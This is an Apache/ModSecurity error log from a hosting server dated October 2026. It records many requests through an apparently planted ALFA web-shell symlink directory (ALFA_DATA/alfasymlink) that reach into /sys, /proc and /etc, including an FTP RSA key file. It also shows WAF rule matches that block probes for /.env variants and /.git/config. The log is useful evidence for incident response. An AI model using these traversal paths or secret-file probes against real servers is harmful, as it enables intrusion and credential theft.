[Sat Oct 24 18:38:20.118724 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.2:11728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/slabs
[Sat Oct 24 18:38:34.138462 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 184.72.84.154:42534] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:38:44.803966 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.17:28418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/order
[Sat Oct 24 18:38:46.114162 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 85.208.96.199:20438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:38:48.046969 2026] [authz_core:error] [pid 2692918:tid 2692918] [client 5.133.215.119:27683] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 18:38:50.123933 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.194.139.149:33062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:02.129980 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.205.163.103:4550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:03.030493 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.207:46460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/aliases
[Sat Oct 24 18:39:06.380796 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 107.22.208.39:53575] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:30.148602 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.223.116.149:34930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:38.223396 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.210.114.189:45293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:42.134608 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.210.58.238:53036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:39:46.164918 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.236.135.14:6786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/unbind
[Sat Oct 24 18:39:54.128951 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.236.185.101:39245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:10.107532 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.172:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/recent_recipient_mail_server_ips
[Sat Oct 24 18:40:10.136027 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.197.102.71:16055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:14.128118 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.207.89.138:65389] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/resource4_wc
[Sat Oct 24 18:40:22.124510 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.70.138.176:62156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:26.120765 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 52.202.52.82:60584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:42.140590 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.230.124.21:42332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:44.575733 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 16.216.88.11:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ftpd-rsa-key.pem
[Sat Oct 24 18:40:54.162929 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.27.222:54055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:40:58.158049 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.224.205.25:30349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:02.127676 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.209.174.110:41915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:02.128701 2026] [security2:error] [pid 2707162:tid 2707162] [client 3.209.174.110:41915] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:05.0/config"] [unique_id "at0z_nxUk1Q9Uwuht9UDKwAAAAE"]
[Sat Oct 24 18:41:02.128763 2026] [security2:error] [pid 2707162:tid 2707162] [client 3.209.174.110:41915] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:05.0/config"] [unique_id "at0z_nxUk1Q9Uwuht9UDKwAAAAE"]
[Sat Oct 24 18:41:06.135080 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.91.122.193:18951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:07.163998 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.12:18798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/remote_node_defrag_ratio
[Sat Oct 24 18:41:10.258524 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.25.120.246:64851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:14.140074 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.21.204.95:57113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:22.260733 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.209.100.30:4598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS2/closing_wait
[Sat Oct 24 18:41:34.148096 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.226.106.93:63540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:38.135241 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.215.49.176:22435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:39.292540 2026] [security2:error] [pid 2693034:tid 2693034] [client 193.32.162.164:35732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00I1QTwXU83R4GW_mZXgAAACg"]
[Sat Oct 24 18:41:39.292771 2026] [security2:error] [pid 2693034:tid 2693034] [client 193.32.162.164:35732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00I1QTwXU83R4GW_mZXgAAACg"]
[Sat Oct 24 18:41:39.293088 2026] [security2:error] [pid 2693034:tid 2693034] [client 193.32.162.164:35732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00I1QTwXU83R4GW_mZXgAAACg"]
[Sat Oct 24 18:41:42.125356 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.200.58.199:24983] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:41:50.127879 2026] [security2:error] [pid 2693017:tid 2693017] [client 52.71.216.196:63238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0C0F:01/power/"] [unique_id "at00LivtCA9Mk3h2rl2lAAAAABM"]
[Sat Oct 24 18:41:50.127941 2026] [security2:error] [pid 2693017:tid 2693017] [client 52.71.216.196:63238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0C0F:01/power/"] [unique_id "at00LivtCA9Mk3h2rl2lAAAAABM"]
[Sat Oct 24 18:41:50.159795 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at00LnxUk1Q9Uwuht9UDMQAAAAE"]
[Sat Oct 24 18:41:50.159997 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at00LnxUk1Q9Uwuht9UDMQAAAAE"]
[Sat Oct 24 18:41:50.160289 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at00LnxUk1Q9Uwuht9UDMQAAAAE"]
[Sat Oct 24 18:41:50.435478 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00LnxUk1Q9Uwuht9UDMwAAAAE"]
[Sat Oct 24 18:41:50.435768 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00LnxUk1Q9Uwuht9UDMwAAAAE"]
[Sat Oct 24 18:41:50.436120 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at00LnxUk1Q9Uwuht9UDMwAAAAE"]
[Sat Oct 24 18:41:50.556199 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at00LnxUk1Q9Uwuht9UDNAAAAAE"]
[Sat Oct 24 18:41:50.556479 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at00LnxUk1Q9Uwuht9UDNAAAAAE"]
[Sat Oct 24 18:41:50.556820 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at00LnxUk1Q9Uwuht9UDNAAAAAE"]
[Sat Oct 24 18:41:50.717470 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at00LnxUk1Q9Uwuht9UDNQAAAAE"]
[Sat Oct 24 18:41:50.717722 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at00LnxUk1Q9Uwuht9UDNQAAAAE"]
[Sat Oct 24 18:41:50.718076 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at00LnxUk1Q9Uwuht9UDNQAAAAE"]
[Sat Oct 24 18:41:50.882112 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at00LnxUk1Q9Uwuht9UDNgAAAAE"]
[Sat Oct 24 18:41:50.882361 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at00LnxUk1Q9Uwuht9UDNgAAAAE"]
[Sat Oct 24 18:41:50.882678 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at00LnxUk1Q9Uwuht9UDNgAAAAE"]
[Sat Oct 24 18:41:51.031491 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at00L3xUk1Q9Uwuht9UDNwAAAAE"]
[Sat Oct 24 18:41:51.031790 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at00L3xUk1Q9Uwuht9UDNwAAAAE"]
[Sat Oct 24 18:41:51.032146 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at00L3xUk1Q9Uwuht9UDNwAAAAE"]
[Sat Oct 24 18:41:51.185758 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at00L3xUk1Q9Uwuht9UDOAAAAAE"]
[Sat Oct 24 18:41:51.186001 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at00L3xUk1Q9Uwuht9UDOAAAAAE"]
[Sat Oct 24 18:41:51.186367 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at00L3xUk1Q9Uwuht9UDOAAAAAE"]
[Sat Oct 24 18:41:51.291131 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at00L3xUk1Q9Uwuht9UDOQAAAAE"]
[Sat Oct 24 18:41:51.291406 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at00L3xUk1Q9Uwuht9UDOQAAAAE"]
[Sat Oct 24 18:41:51.291813 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at00L3xUk1Q9Uwuht9UDOQAAAAE"]
